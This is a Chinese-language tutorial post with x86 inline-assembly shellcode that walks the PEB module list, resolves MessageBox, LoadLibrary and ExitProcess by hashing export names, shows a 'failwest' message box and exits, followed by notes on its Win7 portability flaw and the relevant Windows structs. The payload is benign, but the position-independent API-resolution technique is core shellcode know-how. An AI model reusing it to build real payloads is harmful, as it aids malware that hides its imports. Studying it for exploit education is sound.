代码附详细解析
#include<stdio.h>
void main()
{
_asm{
CLD//CF标志位清0,防止影响跳转
push 0x1e380a6a
push 0x4fd18963
push 0x0c917432//保存MassageBox,ExitProcess,LoadLibrary
//的hash值
mov esi,esp//保存栈顶的值
lea edi,[esi - 0xc]
xor ebx,ebx
mov bh,0x04
sub esp,ebx
mov bx,0x3233//32
push ebx
push 0x72657375//user
push esp
xor edx,edx//把user32放入栈
mov ebx,fs:[edx + 0x30]//FS偏移0x30的位置存放着指PEB表的指针
mov ecx,[ebx+ 0x0c]//PEB表偏移0x0c处是 _PEB_LDR_DATA 进程
//加载模块链表
mov ecx,[ecx + 0x1c]//得到InInitializationOrderModuleList
//的地址
mov ecx,[ecx]
mov ebp,[ecx + 0x08]//第一个是EXE模块本身的ImageBase,第
//二个是NTDLL.DLL,第三个是KERNEL32.DLL。
find_lib_functions:
lodsd//把栈顶的值导入eax中
cmp eax,0x1e380a6a//比较MassageBox的hash值
jne find_functions
xchg eax,ebp
call [edi - 0x8]//LoadLibrary(user32)
xchg eax,ebp//交换再交换回来
find_functions:
pushad
mov eax,[ebp + 0x3c]//e_lfanew
mov ecx,[ebp + eax + 0x78]//导出表位于dll中的位置
add ecx,ebp//加上dll位于文件中导入地址得到user32位
//于该文件中的导出表的位置
mov ebx,[ecx + 0x20]
add ebx,ebp//根据EXPORT_DIRECTORY,找到位于里面的导出函数名称表
xor edi,edi
next_function_loop:
inc edi//edi = 1
mov esi,[ebx + edi * 4]
add esi,ebp//遍历名称
cdq//扩展成64位符号数
hash_loop:
movsx eax,byte ptr[esi]//取每个字符的ASCII码
cmp al,ah//eax中低八位和高八位一样就跳转,由于高八位一定为0
//所以就是要把这个名称跑完
jz compare_hash
ror edx,7//循环右移七位
add edx,eax//再加上eax的值
inc esi//移到下一个字节,hash算法
jmp hash_loop
compare_hash:
cmp edx,[esp + 0x1c]//跟之前存的hash值比较,pushad压栈进来的
//hash值作比较,不对就继续找
jnz next_function_loop
mov ebx,[ecx + 0x24]
add ebx,ebp//找到导出函数序号表
mov di,[ebx + 2 * edi]//找到函数对应的序号
mov ebx,[ecx + 0x1c]
add ebx, ebp//找到导出函数地址表
add ebp,[ebx + 4 * edi]//根据序号找到对应的函数地址
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a//判断是否所有的API地址都找到了
jne find_lib_functions
xor ebx,ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi - 0x04]
push ebx
call [edi - 0x08]//弹出窗口并退出
nop
nop
nop
nop
nop
}
}
拖入OD中把shellcode转换成机器码(太麻烦了就不做了)
思考
但是这串代码寻找KERNEL32.DLL的方法是直接mov ebp,[ecx + 0x08],根据偏移量直接找到。Ldr->InInitializationModuleList链表在win7后把KERNEL32.dll移到了第四位,因此没有办法保证shellcode的通用性。
保险一点感觉可以选用逐字的比对的方法。再把dll的名称也遍历一遍。
mov edx,ecx
cmp byte ptr [edx],'K'
类似这种对比验证。
同样该种方法也不能避免hash碰撞,如果遍历的函数多了,很有可能会发生这种情况,以后有时间再来优化这个shellcode吧。
附:LDR_DATA结构
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
EXPORT_DIRECTORY结构:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; //未使用
DWORD TimeDateStamp; //时间戳
WORD MajorVersion; //未使用
WORD MinorVersion; //未使用
DWORD Name; //指向改导出表文件名字符串
DWORD Base; //导出表的起始序号
DWORD NumberOfFunctions; //导出函数的个数(更准确来说是AddressOfFunctions的元素数,而不是函数个数)
DWORD NumberOfNames; //以函数名字导出的函数个数
DWORD AddressOfFunctions; //导出函数地址表RVA:存储所有导出函数地址(表元素宽度为4,总大小NumberOfFunctions * 4)
DWORD AddressOfNames; //导出函数名称表RVA:存储函数名字符串所在的地址(表元素宽度为4,总大小为NumberOfNames * 4)
DWORD AddressOfNameOrdinals; //导出函数序号表RVA:存储函数序号(表元素宽度为2,总大小为NumberOfNames * 2)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;